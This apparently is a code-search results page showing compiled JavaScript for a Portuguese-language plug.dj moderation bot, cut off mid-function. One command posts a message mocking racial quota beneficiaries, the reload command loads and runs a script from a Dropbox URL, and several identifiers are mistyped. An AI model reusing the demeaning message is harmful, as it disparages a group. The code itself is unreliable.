177 skills found · Page 6 of 6
driskull / Twitter Oauth Proxy PhpThis app acts as a server proxy for a client-side (JavaScript) application to make AJAX GET requests and receive results in JSONP formatted Twitter Search results without the client-side app handling the oAuth authentication.
Leandropesao / Boooot// Generated by CoffeeScript 1.6.2 (function() { var Command, RoomHelper, User, addCommand, afkCheck, afksCommand, allAfksCommand, announceCurate, antispam, apiHooks, avgVoteRatioCommand, chatCommandDispatcher, chatUniversals, cmds, data, dieCommand, disconnectLookupCommand, fans, handleNewSong, handleUserJoin, handleUserLeave, handleVote, hook, initEnvironment, initHooks, initialize, lockCommand, lockskipCommand, msToStr, newSongsCommand, newsCommand, populateUserData, channelCommand, pupOnline, reloadCommand, removeCommand, roomHelpCommand, rulesCommand, settings, skipCommand, staffCommand, statusCommand, themeCommand, undoHooks, unhook, unlockCommand, updateVotes, versionCommand, voteRatioCommand, ref, _ref1, _ref10, _ref11, _ref12, _ref13, _ref14, _ref15, _ref16, _ref17, _ref18, _ref19, _ref2, _ref20, _ref21, _ref3, _ref4, _ref5, _ref6, _ref7, _ref8, _ref9, __bind = function(fn, me){ return function(){ return fn.apply(me, arguments); }; }, __indexOf = [].indexOf || function(item) { for (var i = 0, l = this.length; i < l; i++) { if (i in this && this[i] === item) return i; } return -1; }, __hasProp = {}.hasOwnProperty, __extends = function(child, parent) { for (var key in parent) { if (_hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }; settings = (function() { function settings() { this.implode = __bind(this.implode, this); this.intervalMessages = __bind(this.intervalMessages, this); this.startAfkInterval = __bind(this.startAfkInterval, this); this.setInternalWaitlist = __bind(this.setInternalWaitlist, this); this.userJoin = __bind(this.userJoin, this); this.getRoomUrlPath = __bind(this.getRoomUrlPath, this); this.startup = __bind(this.startup, this); } settings.prototype.currentsong = {}; settings.prototype.users = {}; settings.prototype.djs = []; settings.prototype.mods = []; settings.prototype.host = []; settings.prototype.hasWarned = false; settings.prototype.currentwoots = 0; settings.prototype.currentmehs = 0; settings.prototype.currentcurates = 0; settings.prototype.roomUrlPath = null; settings.prototype.internalWaitlist = []; settings.prototype.userDisconnectLog = []; settings.prototype.voteLog = {}; settings.prototype.seshOn = false; settings.prototype.forceSkip = false; settings.prototype.seshMembers = []; settings.prototype.launchTime = null; settings.prototype.totalVotingData = { woots: 0, mehs: 0, curates: 0 }; settings.prototype.pupScriptUrl = 'https://dl.dropbox.com/u/21023321/TastycatBot.js'; settings.prototype.afkTime = 666 * 60 * 1000; settings.prototype.songIntervalMessages = [ { interval: 7, offset: 0, msg: "Entrem na nossa pagina: http://www.facebook.com/EspecialistasDasZoeiras?ref=hl" }, { interval: 5, offset: 0, msg: "Mantenha-se ativo no bate-papo e Votando. Ser não sera Retirado da Lista de DJ e da Cabine!" } ]; settings.prototype.songCount = 0; settings.prototype.startup = function() { this.launchTime = new Date(); return this.roomUrlPath = this.getRoomUrlPath(); }; settings.prototype.getRoomUrlPath = function() { return window.location.pathname.replace(/\//g, ''); }; settings.prototype.newSong = function() { this.totalVotingData.woots += this.currentwoots; this.totalVotingData.mehs += this.currentmehs; this.totalVotingData.curates += this.currentcurates; this.setInternalWaitlist(); this.currentsong = API.getMedia(); if (this.currentsong !== null) { return this.currentsong; } else { return false; } }; settings.prototype.userJoin = function(u) { var userIds, _ref; userIds = Object.keys(this.users); if (_ref = u.id, __indexOf.call(userIds, _ref) >= 0) { return this.users[u.id].inRoom(true); } else { this.users[u.id] = new User(u); return this.voteLog[u.id] = {}; } }; settings.prototype.setInternalWaitlist = function() { var boothWaitlist, fullWaitList, lineWaitList; boothWaitlist = API.getDJs().slice(1); lineWaitList = API.getWaitList(); fullWaitList = boothWaitlist.concat(lineWaitList); return this.internalWaitlist = fullWaitList; }; settings.prototype.activity = function(obj) { if (obj.type === 'message') { return this.users[obj.fromID].updateActivity(); } }; settings.prototype.startAfkInterval = function() { return this.afkInterval = setInterval(afkCheck, 2000); }; settings.prototype.intervalMessages = function() { var msg, _i, _len, _ref, _results; this.songCount++; _ref = this.songIntervalMessages; _results = []; for (_i = 0, _len = _ref.length; _i < _len; _i++) { msg = _ref[_i]; if (((this.songCount + msg['offset']) % msg['interval']) === 0) { _results.push(API.sendChat(msg['msg'])); } else { _results.push(void 0); } } return _results; }; settings.prototype.implode = function() { var item, val; for (item in this) { val = this[item]; if (typeof this[item] === 'object') { delete this[item]; } } return clearInterval(this.afkInterval); }; settings.prototype.lockBooth = function(callback) { if (callback == null) { callback = null; } return $.ajax({ url: "http://plug.dj/_/gateway/room.update_options", type: 'POST', data: JSON.stringify({ service: "room.update_options", body: [ this.roomUrlPath, { "boothLocked": true, "waitListEnabled": true, "maxPlays": 1, "maxDJs": 5 } ] }), async: this.async, dataType: 'json', contentType: 'application/json' }).done(function() { if (callback != null) { return callback(); } }); }; settings.prototype.unlockBooth = function(callback) { if (callback == null) { callback = null; } return $.ajax({ url: "http://plug.dj/_/gateway/room.update_options", type: 'POST', data: JSON.stringify({ service: "room.update_options", body: [ this.roomUrlPath, { "boothLocked": false, "waitListEnabled": true, "maxPlays": 1, "maxDJs": 5 } ] }), async: this.async, dataType: 'json', contentType: 'application/json' }).done(function() { if (callback != null) { return callback(); } }); }; return settings; })(); data = new settings(); User = (function() { User.prototype.afkWarningCount = 0; User.prototype.lastWarning = null; User.prototype["protected"] = false; User.prototype.isInRoom = true; function User(user) { this.user = user; this.updateVote = __bind(this.updateVote, this); this.inRoom = __bind(this.inRoom, this); this.notDj = __bind(this.notDj, this); this.warn = __bind(this.warn, this); this.getIsDj = __bind(this.getIsDj, this); this.getWarningCount = __bind(this.getWarningCount, this); this.getUser = __bind(this.getUser, this); this.getLastWarning = __bind(this.getLastWarning, this); this.getLastActivity = __bind(this.getLastActivity, this); this.getLastDrinkTime = __bind(this.getLastDrinkTime, this); this.updateDrinkTime = __bind(this.updateDrinkTime, this); this.updateActivity = __bind(this.updateActivity, this); this.init = __bind(this.init, this); this.init(); } User.prototype.init = function() { this.lastActivity = new Date(); return this.drinkTime = new Date(); }; User.prototype.updateActivity = function() { this.lastActivity = new Date(); this.afkWarningCount = 0; return this.lastWarning = null; }; User.prototype.updateDrinkTime = function() { return this.drinkTime = new Date(); }; User.prototype.getLastDrinkTime = function() { return this.drinkTime; }; User.prototype.getLastActivity = function() { return this.lastActivity; }; User.prototype.getLastWarning = function() { if (this.lastWarning === null) { return false; } else { return this.lastWarning; } }; User.prototype.getUser = function() { return this.user; }; User.prototype.getWarningCount = function() { return this.afkWarningCount; }; User.prototype.getIsDj = function() { var DJs, dj, _i, _len; DJs = API.getDJs(); for (_i = 0, _len = DJs.length; _i < _len; _i++) { dj = DJs[_i]; if (this.user.id === dj.id) { return true; } } return false; }; User.prototype.warn = function() { this.afkWarningCount++; return this.lastWarning = new Date(); }; User.prototype.notDj = function() { this.afkWarningCount = 0; return this.lastWarning = null; }; User.prototype.inRoom = function(online) { return this.isInRoom = online; }; User.prototype.updateVote = function(v) { if (this.isInRoom) { return data.voteLog[this.user.id][data.currentsong.id] = v; } }; return User; })(); RoomHelper = (function() { function RoomHelper() {} RoomHelper.prototype.lookupUser = function(username) { var id, u, _ref; _ref = data.users; for (id in _ref) { u = _ref[id]; if (u.getUser().username === username) { return u.getUser(); } } return false; }; RoomHelper.prototype.userVoteRatio = function(user) { var songId, songVotes, vote, votes; songVotes = data.voteLog[user.id]; votes = { 'woot': 0, 'meh': 0 }; for (songId in songVotes) { vote = songVotes[songId]; if (vote === 1) { votes['woot']++; } else if (vote === -1) { votes['meh']++; } } votes['positiveRatio'] = (votes['woot'] / (votes['woot'] + votes['meh'])).toFixed(2); return votes; }; return RoomHelper; })(); pupOnline = function() { var currentversion, me, myname; me = API.getSelf(); myname = me.username; currentversion = "1.0.0"; log("BOT editado pelo Rafal Moraes versão " + currentversion + " Chupa Jô"); return API.sendChat("/me on"); }; populateUserData = function() { var u, users, _i, _len; users = API.getUsers(); for (_i = 0, _len = users.length; _i < _len; _i++) { u = users[_i]; data.users[u.id] = new User(u); data.voteLog[u.id] = {}; } }; initEnvironment = function() { document.getElementById("button-vote-positive").click(); document.getElementById("button-sound").click(); Playback.streamDisabled = true; return Playback.stop(); }; initialize = function() { pupOnline(); populateUserData(); initEnvironment(); initHooks(); data.startup(); data.newSong(); return data.startAfkInterval(); }; afkCheck = function() { var DJs, id, lastActivity, lastWarned, now, secsLastActive, timeSinceLastActivity, timeSinceLastWarning, twoMinutes, user, _ref, _results; _ref = data.users; _results = []; for (id in _ref) { user = _ref[id]; now = new Date(); lastActivity = user.getLastActivity(); timeSinceLastActivity = now.getTime() - lastActivity.getTime(); if (timeSinceLastActivity > data.afkTime) { if (user.getIsDj()) { secsLastActive = timeSinceLastActivity / 1000; if (user.getWarningCount() === 0) { user.warn(); _results.push(API.sendChat("@" + user.getUser().username + ", Você não falou no chat nos ultimos 30 minutos, por favor fale alguma coisa em 4 minutos ou será kickado da line de dj.")); } else if (user.getWarningCount() === 1) { lastWarned = user.getLastWarning(); timeSinceLastWarning = now.getTime() - lastWarned.getTime(); twoMinutes = 4 * 60 * 1000; if (timeSinceLastWarning > twoMinutes) { DJs = API.getDJs(); if (DJs.length > 0 && DJs[0].id !== user.getUser().id) { API.sendChat("@" + user.getUser().username + ", você foi avisado, fique ativo enquanto está na line."); API.moderateRemoveDJ(id); _results.push(user.warn()); } else { _results.push(void 0); } } else { _results.push(void 0); } } else { _results.push(void 0); } } else { _results.push(user.notDj()); } } else { _results.push(void 0); } } return _results; }; msToStr = function(msTime) { var ms, msg, timeAway; msg = ''; timeAway = { 'days': 0, 'hours': 0, 'minutes': 0, 'seconds': 0 }; ms = { 'day': 24 * 60 * 60 * 1000, 'hour': 60 * 60 * 1000, 'minute': 60 * 1000, 'second': 1000 }; if (msTime > ms['day']) { timeAway['days'] = Math.floor(msTime / ms['day']); msTime = msTime % ms['day']; } if (msTime > ms['hour']) { timeAway['hours'] = Math.floor(msTime / ms['hour']); msTime = msTime % ms['hour']; } if (msTime > ms['minute']) { timeAway['minutes'] = Math.floor(msTime / ms['minute']); msTime = msTime % ms['minute']; } if (msTime > ms['second']) { timeAway['seconds'] = Math.floor(msTime / ms['second']); } if (timeAway['days'] !== 0) { msg += timeAway['days'].toString() + 'd'; } if (timeAway['hours'] !== 0) { msg += timeAway['hours'].toString() + 'h'; } if (timeAway['minutes'] !== 0) { msg += timeAway['minutes'].toString() + 'm'; } if (timeAway['seconds'] !== 0) { msg += timeAway['seconds'].toString() + 's'; } if (msg !== '') { return msg; } else { return false; } }; Command = (function() { function Command(msgData) { this.msgData = msgData; this.init(); } Command.prototype.init = function() { this.parseType = null; this.command = null; return this.rankPrivelege = null; }; Command.prototype.functionality = function(data) {}; Command.prototype.hasPrivelege = function() { var user; user = data.users[this.msgData.fromID].getUser(); switch (this.rankPrivelege) { case 'host': return user.permission >= 5; case 'cohost': return user.permission >= 4; case 'mod': return user.permission >= 3; case 'manager': return user.permission >= 3; case 'bouncer': return user.permission >= 2; case 'featured': return user.permission >= 1; default: return true; } }; Command.prototype.commandMatch = function() { var command, msg, _i, _len, _ref; msg = this.msgData.message; if (typeof this.command === 'string') { if (this.parseType === 'exact') { if (msg === this.command) { return true; } else { return false; } } else if (this.parseType === 'startsWith') { if (msg.substr(0, this.command.length) === this.command) { return true; } else { return false; } } else if (this.parseType === 'contains') { if (msg.indexOf(this.command) !== -1) { return true; } else { return false; } } } else if (typeof this.command === 'object') { _ref = this.command; for (_i = 0, _len = _ref.length; _i < _len; _i++) { command = _ref[_i]; if (this.parseType === 'exact') { if (msg === command) { return true; } } else if (this.parseType === 'startsWith') { if (msg.substr(0, command.length) === command) { return true; } } else if (this.parseType === 'contains') { if (msg.indexOf(command) !== -1) { return true; } } } return false; } }; Command.prototype.evalMsg = function() { if (this.commandMatch() && this.hasPrivelege()) { this.functionality(); return true; } else { return false; } }; return Command; })(); newsCommand = (function(_super) { __extends(newsCommand, _super); function newsCommand() { _ref = newsCommand.__super__.constructor.apply(this, arguments); return _ref; } newsCommand.prototype.init = function() { this.command = '!cotas'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; newsCommand.prototype.functionality = function() { var msg; msg = "/me Acaba de Ativar modo Cota e roubou sua vaga na Faculdade e sua vez na Cabine de DJ!"; return API.sendChat(msg); }; return newsCommand; })(Command); newSongsCommand = (function(_super) { __extends(newSongsCommand, _super); function newSongsCommand() { _ref1 = newSongsCommand.__super__.constructor.apply(this, arguments); return _ref1; } newSongsCommand.prototype.init = function() { this.command = '!musicanovas'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; newSongsCommand.prototype.functionality = function() { var arts, cMedia, chans, chooseRandom, mChans, msg, selections, u, _ref2; mChans = this.memberChannels.slice(0); chans = this.channels.slice(0); arts = this.artists.slice(0); chooseRandom = function(list) { var l, r; l = list.length; r = Math.floor(Math.random() * l); return list.splice(r, 1); }; selections = { channels: [], artist: '' }; u = data.users[this.msgData.fromID].getUser().username; if (u.indexOf("MistaDubstep") !== -1) { selections['channels'].push('MistaDubstep'); } else if (u.indexOf("Underground Promotions") !== -1) { selections['channels'].push('UndergroundDubstep'); } else { selections['channels'].push(chooseRandom(mChans)); } selections['channels'].push(chooseRandom(chans)); selections['channels'].push(chooseRandom(chans)); cMedia = API.getMedia(); if (_ref2 = cMedia.author, __indexOf.call(arts, _ref2) >= 0) { selections['artist'] = cMedia.author; } else { selections['artist'] = chooseRandom(arts); } msg = "Querem musica de Dubstep do " + selections['artist'] + " entre! Tem musicas nova sempre em http://youtube.com/" + selections['channels'][0] + " http://youtube.com/" + selections['channels'][1] + " ou http://youtube.com/" + selections['channels'][2]; return API.sendChat(msg); }; newSongsCommand.prototype.memberChannels = ["MistaDubstep", "DubStationPromotions", "UndergroundDubstep", "JesusDied4Dubstep", "DarkstepWarrior", "BombshockDubstep", "Sharestep"]; newSongsCommand.prototype.channels = ["BassRape", "MonstercatMedia", "UKFdubstep", "DropThatBassline", "VitalDubstep", "AirwaveDubstepTV", "InspectorDubplate", "TehDubstepChannel", "UNITEDubstep", "LuminantNetwork", "TheSoundIsle", "PandoraMuslc", "MrSuicideSheep", "HearTheSensation", "bassoutletpromos", "MistaDubstep", "DubStationPromotions", "UndergroundDubstep", "JesusDied4Dubstep", "DarkstepWarrior", "BombshockDubstep", "Sharestep"]; newSongsCommand.prototype.artists = ["Doctor P", "Excision", "Flux Pavilion", "Knife Party", "Rusko", "Bassnectar", "Nero", "Deadmau5", "Borgore", "Zomboy"]; return newSongsCommand; })(Command); themeCommand = (function(_super) { __extends(themeCommand, _super); function themeCommand() { _ref2 = themeCommand.__super__.constructor.apply(this, arguments); return _ref2; } themeCommand.prototype.init = function() { this.command = '!tema'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; themeCommand.prototype.functionality = function() { var msg; msg = "Temas permitidos aqui na sala. electro, techno, "; msg += "dubstep."; return API.sendChat(msg); }; return themeCommand; })(Command); rulesCommand = (function(_super) { __extends(rulesCommand, _super); function rulesCommand() { _ref3 = rulesCommand.__super__.constructor.apply(this, arguments); return _ref3; } rulesCommand.prototype.init = function() { this.command = '!regras'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; rulesCommand.prototype.functionality = function() { var msg1, msg2; msg1 = " 1) Video no Maximo 6 minutos. "; msg1 += " 2) Sem Flood! "; msg1 += " 3) Nao escrever em colorido "; msg1 += " 4) Respeitar os Adms e Mods;s "; msg1 += " 5) Nao Fiquem Pedindo Cargos "; msg2 = "Curta: http://www.facebook.com/EspecialistasDasZoeiras?ref=hl"; msg2 += ""; API.sendChat(msg1); return setTimeout((function() { return API.sendChat(msg2); }), 750); }; return rulesCommand; })(Command); roomHelpCommand = (function(_super) { __extends(roomHelpCommand, _super); function roomHelpCommand() { _ref4 = roomHelpCommand.__super__.constructor.apply(this, arguments); return _ref4; } roomHelpCommand.prototype.init = function() { this.command = '!ajuda'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; roomHelpCommand.prototype.functionality = function() { var msg1, msg2; msg1 = "Bem vindo a Sala! Para ser o DJ, Criar uma lista de reprodução e coloque Musica do Youtube ou soundcloud. "; msg1 += "Se é novo procure pelo seu nome na sua tela (do lado da cabine de dj e clique) e depois mude o nome."; msg2 = "Para Ganhar Pontos é só clica em Bacana. "; msg2 += "Digite !regras pare ler as porra das regras."; API.sendChat(msg1); return setTimeout((function() { return API.sendChat(msg2); }), 750); }; return roomHelpCommand; })(Command); afksCommand = (function(_super) { __extends(afksCommand, _super); function afksCommand() { _ref5 = afksCommand.__super__.constructor.apply(this, arguments); return _ref5; } afksCommand.prototype.init = function() { this.command = '!afks'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; afksCommand.prototype.functionality = function() { var dj, djAfk, djs, msg, now, _i, _len; msg = ''; djs = API.getDJs(); for (_i = 0, _len = djs.length; _i < _len; _i++) { dj = djs[_i]; now = new Date(); djAfk = now.getTime() - data.users[dj.id].getLastActivity().getTime(); if (djAfk > (5 * 60 * 1000)) { if (msToStr(djAfk) !== false) { msg += dj.username + ' - ' + msToStr(djAfk); msg += '. '; } } } if (msg === '') { return API.sendChat("Se fudeu não tem ninguém AFK."); } else { return API.sendChat('AFKs: ' + msg); } }; return afksCommand; })(Command); allAfksCommand = (function(_super) { __extends(allAfksCommand, _super); function allAfksCommand() { _ref6 = allAfksCommand.__super__.constructor.apply(this, arguments); return _ref6; } allAfksCommand.prototype.init = function() { this.command = '!todosafks'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; allAfksCommand.prototype.functionality = function() { var msg, now, u, uAfk, usrs, _i, _len; msg = ''; usrs = API.getUsers(); for (_i = 0, _len = usrs.length; _i < _len; _i++) { u = usrs[_i]; now = new Date(); uAfk = now.getTime() - data.users[u.id].getLastActivity().getTime(); if (uAfk > (10 * 60 * 1000)) { if (msToStr(uAfk) !== false) { msg += u.username + ' - ' + msToStr(uAfk); msg += '. '; } } } if (msg === '') { return API.sendChat("Se fudeu não tem ninguém AFK."); } else { return API.sendChat('AFKs: ' + msg); } }; return allAfksCommand; })(Command); statusCommand = (function(_super) { __extends(statusCommand, _super); function statusCommand() { _ref7 = statusCommand.__super__.constructor.apply(this, arguments); return _ref7; } statusCommand.prototype.init = function() { this.command = '!status'; this.parseType = 'exact'; return this.rankPrivelege = 'featured'; }; statusCommand.prototype.functionality = function() { var day, hour, launch, lt, meridian, min, month, msg, t, totals; lt = data.launchTime; month = lt.getMonth() + 1; day = lt.getDate(); hour = lt.getHours(); meridian = hour % 12 === hour ? 'AM' : 'PM'; min = lt.getMinutes(); min = min < 10 ? '0' + min : min; t = data.totalVotingData; t['songs'] = data.songCount; launch = 'Iniciada em ' + month + '/' + day + ' ' + hour + ':' + min + ' ' + meridian + '. '; totals = '' + t.songs + ' Teve: :+1: ' + t.woots + ',:-1: ' + t.mehs + ',:heart: ' + t.curates + '.' msg = launch + totals; return API.sendChat(msg); }; return statusCommand; })(Command); dieCommand = (function(_super) { __extends(dieCommand, _super); function dieCommand() { _ref8 = dieCommand.__super__.constructor.apply(this, arguments); return _ref8; } dieCommand.prototype.init = function() { this.command = '!adeus'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; dieCommand.prototype.functionality = function() { API.sendChat("Acho que fui envenenado!"); undoHooks(); API.sendChat("Vish,"); data.implode(); return API.sendChat("Morri! x_x"); }; return dieCommand; })(Command); reloadCommand = (function(_super) { __extends(reloadCommand, _super); function reloadCommand() { _ref9 = reloadCommand.__super__.constructor.apply(this, arguments); return _ref9; } reloadCommand.prototype.init = function() { this.command = '!reload'; this.parseType = 'exact'; return this.rankPrivelege = 'Host'; }; reloadCommand.prototype.functionality = function() { var pupSrc; API.sendChat('/me Não se Preocupe o Papai Chegou'); undoHooks(); pupSrc = data.pupScriptUrl; data.implode(); return $.getScript(pupSrc); }; return reloadCommand; })(Command); lockCommand = (function(_super) { __extends(lockCommand, _super); function lockCommand() { _ref10 = lockCommand.__super__.constructor.apply(this, arguments); return _ref10; } lockCommand.prototype.init = function() { this.command = '!trava'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; lockCommand.prototype.functionality = function() { return data.lockBooth(); }; return lockCommand; })(Command); unlockCommand = (function(_super) { __extends(unlockCommand, _super); function unlockCommand() { _ref11 = unlockCommand.__super__.constructor.apply(this, arguments); return _ref11; } unlockCommand.prototype.init = function() { this.command = '!destrava'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; unlockCommand.prototype.functionality = function() { return data.unlockBooth(); }; return unlockCommand; })(Command); removeCommand = (function(_super) { __extends(removeCommand, _super); function removeCommand() { _ref12 = removeCommand.__super__.constructor.apply(this, arguments); return _ref12; } removeCommand.prototype.init = function() { this.command = '!remove'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; removeCommand.prototype.functionality = function() { var djs, popDj; djs = API.getDJs(); popDj = djs[djs.length - 1]; return API.moderateRemoveDJ(popDj.id); }; return removeCommand; })(Command); addCommand = (function(_super) { __extends(addCommand, _super); function addCommand() { _ref13 = addCommand.__super__.constructor.apply(this, arguments); return _ref13; } addCommand.prototype.init = function() { this.command = '!add'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; addCommand.prototype.functionality = function() { var msg, name, r, user; msg = this.msgData.message; if (msg.length > this.command.length + 2) { name = msg.substr(this.command.length + 2); r = new RoomHelper(); user = r.lookupUser(name); if (user !== false) { API.moderateAddDJ(user.id); return setTimeout((function() { return data.unlockBooth(); }), 5000); } } }; return addCommand; })(Command); skipCommand = (function(_super) { __extends(skipCommand, _super); function skipCommand() { _ref14 = skipCommand.__super__.constructor.apply(this, arguments); return _ref14; } skipCommand.prototype.init = function() { this.command = '!pula'; this.parseType = 'exact'; this.rankPrivelege = 'bouncer'; return window.lastSkipTime; }; skipCommand.prototype.functionality = function() { var currentTime, millisecondsPassed; currentTime = new Date(); if (!window.lastSkipTime) { API.moderateForceSkip(); return window.lastSkipTime = currentTime; } else { millisecondsPassed = Math.round(currentTime.getTime() - window.lastSkipTime.getTime()); if (millisecondsPassed > 10000) { window.lastSkipTime = currentTime; return API.moderateForceSkip(); } } }; return skipCommand; })(Command); disconnectLookupCommand = (function(_super) { __extends(disconnectLookupCommand, _super); function disconnectLookupCommand() { _ref15 = disconnectLookupCommand.__super__.constructor.apply(this, arguments); return _ref15; } disconnectLookupCommand.prototype.init = function() { this.command = '!dcmembros'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; disconnectLookupCommand.prototype.functionality = function() { var cmd, dcHour, dcLookupId, dcMeridian, dcMins, dcSongsAgo, dcTimeStr, dcUser, disconnectInstances, givenName, id, recentDisconnect, resp, u, _i, _len, _ref16, _ref17; cmd = this.msgData.message; if (cmd.length > 11) { givenName = cmd.slice(11); _ref16 = data.users; for (id in _ref16) { u = _ref16[id]; if (u.getUser().username === givenName) { dcLookupId = id; disconnectInstances = []; _ref17 = data.userDisconnectLog; for (_i = 0, _len = _ref17.length; _i < _len; _i++) { dcUser = _ref17[_i]; if (dcUser.id === dcLookupId) { disconnectInstances.push(dcUser); } } if (disconnectInstances.length > 0) { resp = u.getUser().username + ' disconectou ' + disconnectInstances.length.toString() + ' '; if (disconnectInstances.length === 1) { resp += '. '; } else { resp += 's. '; } recentDisconnect = disconnectInstances.pop(); dcHour = recentDisconnect.time.getHours(); dcMins = recentDisconnect.time.getMinutes(); if (dcMins < 10) { dcMins = '0' + dcMins.toString(); } dcMeridian = dcHour % 12 === dcHour ? 'AM' : 'PM'; dcTimeStr = '' + dcHour + ':' + dcMins + ' ' + dcMeridian; dcSongsAgo = data.songCount - recentDisconnect.songCount; resp += 'O seu disconect mais recente foi á ' + dcTimeStr + ' (' + dcSongsAgo + ' músicas atras). '; if (recentDisconnect.waitlistPosition !== void 0) { resp += 'Ele estava ' + recentDisconnect.waitlistPosition + ' música'; if (recentDisconnect.waitlistPosition > 1) { resp += 's'; } resp += ' atras da cabine de dj.'; } else { resp += 'Ele não estava na cabine de dj.'; } API.sendChat(resp); return; } else { API.sendChat(" " + u.getUser().username + " não disconectou."); return; } } } return API.sendChat("Eu não vejo essa pessoa na sala '" + givenName + "'."); } }; return disconnectLookupCommand; })(Command); voteRatioCommand = (function(_super) { __extends(voteRatioCommand, _super); function voteRatioCommand() { _ref16 = voteRatioCommand.__super__.constructor.apply(this, arguments); return _ref16; } voteRatioCommand.prototype.init = function() { this.command = '!voteratio'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; voteRatioCommand.prototype.functionality = function() { var msg, name, r, u, votes; r = new RoomHelper(); msg = this.msgData.message; if (msg.length > 12) { name = msg.substr(12); u = r.lookupUser(name); if (u !== false) { votes = r.userVoteRatio(u); msg = u.username + " :+1: " + votes['woot'].toString() + " vez"; if (votes['woot'] === 1) { msg += ', '; } else { msg += 'es, '; } msg += "e :-1: " + votes['meh'].toString() + " veze"; if (votes['meh'] === 1) { msg += '. '; } else { msg += 'es. '; } msg += "O seu vote ratio é: " + votes['positiveRatio'].toString() + "."; return API.sendChat(msg); } else { return API.sendChat("Não parece ter alguém com esse nome de'" + name + "'"); } } else { return API.sendChat("Você quer alguma coisa? Ou você está apenas tentando me irritar."); } }; return voteRatioCommand; })(Command); avgVoteRatioCommand = (function(_super) { __extends(avgVoteRatioCommand, _super); function avgVoteRatioCommand() { _ref17 = avgVoteRatioCommand.__super__.constructor.apply(this, arguments); return _ref17; } avgVoteRatioCommand.prototype.init = function() { this.command = '!avgvoteratio'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; avgVoteRatioCommand.prototype.functionality = function() { var averageRatio, msg, r, ratio, roomRatios, uid, user, userRatio, votes, _i, _len, _ref18; roomRatios = []; r = new RoomHelper(); _ref18 = data.voteLog; for (uid in _ref18) { votes = _ref18[uid]; user = data.users[uid].getUser(); userRatio = r.userVoteRatio(user); roomRatios.push(userRatio['positiveRatio']); } averageRatio = 0.0; for (_i = 0, _len = roomRatios.length; _i < _len; _i++) { ratio = roomRatios[_i]; averageRatio += ratio; } averageRatio = averageRatio / roomRatios.length; msg = "Accounting for " + roomRatios.length.toString() + " user ratios, the average room ratio is " + averageRatio.toFixed(2).toString() + "."; return API.sendChat(msg); }; return avgVoteRatioCommand; })(Command); staffCommand = (function(_super) { __extends(staffCommand, _super); function staffCommand() { _ref18 = staffCommand.__super__.constructor.apply(this, arguments); return _ref18; } staffCommand.prototype.init = function() { this.command = '!staff'; this.parseType = 'exact'; this.rankPrivelege = 'user'; return window.lastActiveStaffTime; }; staffCommand.prototype.staff = function() { var now, staff, staffAfk, stringstaff, user, _i, _len; staff = API.getStaff(); now = new Date(); stringstaff = ""; for (_i = 0, _len = staff.length; _i < _len; _i++) { user = staff[_i]; if (user.permission > 1) { staffAfk = now.getTime() - data.users[user.id].getLastActivity().getTime(); if (staffAfk < (60 * 60 * 1000)) { stringstaff += "@" + user.username + " "; } } } if (stringstaff.length === 0) { stringstaff = "Aff pqp não tem staff ativo :'("; } return stringstaff; }; staffCommand.prototype.functionality = function() { var currentTime, millisecondsPassed, thestaff; thestaff = this.staff(); currentTime = new Date(); if (!window.lastActiveStaffTime) { API.sendChat(thestaff); return window.lastActiveStaffTime = currentTime; } else { millisecondsPassed = currentTime.getTime() - window.lastActiveStaffTime.getTime(); if (millisecondsPassed > 10000) { window.lastActiveStaffTime = currentTime; return API.sendChat(thestaff); } } }; return staffCommand; })(Command); lockskipCommand = (function(_super) { __extends(lockskipCommand, _super); function lockskipCommand() { _ref19 = lockskipCommand.__super__.constructor.apply(this, arguments); return _ref19; } lockskipCommand.prototype.init = function() { this.command = '!repetida'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; lockskipCommand.prototype.functionality = function() { return data.lockBooth(function() { return setTimeout(function() {}, API.moderateForceSkip(), setTimeout(function() { return data.unlockBooth(); }, 5000), 5000); }); }; return lockskipCommand; })(Command); channelCommand = (function(_super) { __extends(channelCommand, _super); function channelCommand() { _ref20 = channelCommand.__super__.constructor.apply(this, arguments); return _ref20; } channelCommand.prototype.init = function() { this.command = '!comandos'; this.parseType = 'startsWith'; return this.rankPrivelege = 'user'; }; channelCommand.prototype.functionality = function() { return API.sendChat("/em: Lista de comandos: https://www.google.com.br/ _|_"); }; return channelCommand; })(Command); versionCommand = (function(_super) { __extends(versionCommand, _super); function versionCommand() { _ref21 = versionCommand.__super__.constructor.apply(this, arguments); return _ref21; } versionCommand.prototype.init = function() { this.command = '!version'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; versionCommand.prototype.functionality = function() { return API.sendChat("/me BOT editado 1.0 " + currentversion); }; return versionCommand; })(Command); cmds = [newSongsCommand, themeCommand, rulesCommand, roomHelpCommand, afksCommand, allAfksCommand, statusCommand, dieCommand, reloadCommand, lockCommand, unlockCommand, removeCommand, addCommand, skipCommand, disconnectLookupCommand, voteRatioCommand, avgVoteRatioCommand, staffCommand, lockskipCommand, versionCommand, newsCommand, channelCommand]; chatCommandDispatcher = function(chat) { var c, cmd, _i, _len, _results; chatUniversals(chat); _results = []; for (_i = 0, _len = cmds.length; _i < _len; _i++) { cmd = cmds[_i]; c = new cmd(chat); if (c.evalMsg()) { break; } else { _results.push(void 0); } } return _results; }; updateVotes = function(obj) { data.currentwoots = obj.positive; data.currentmehs = obj.negative; return data.currentcurates = obj.curates; }; announceCurate = function(obj) { return APIsendChat("/em: " + obj.user.username + " Gostou dessa Musica!"); }; handleUserJoin = function(user) { data.userJoin(user); return data.users[user.id].updateActivity(); }; handleNewSong = function(obj) { var songId; 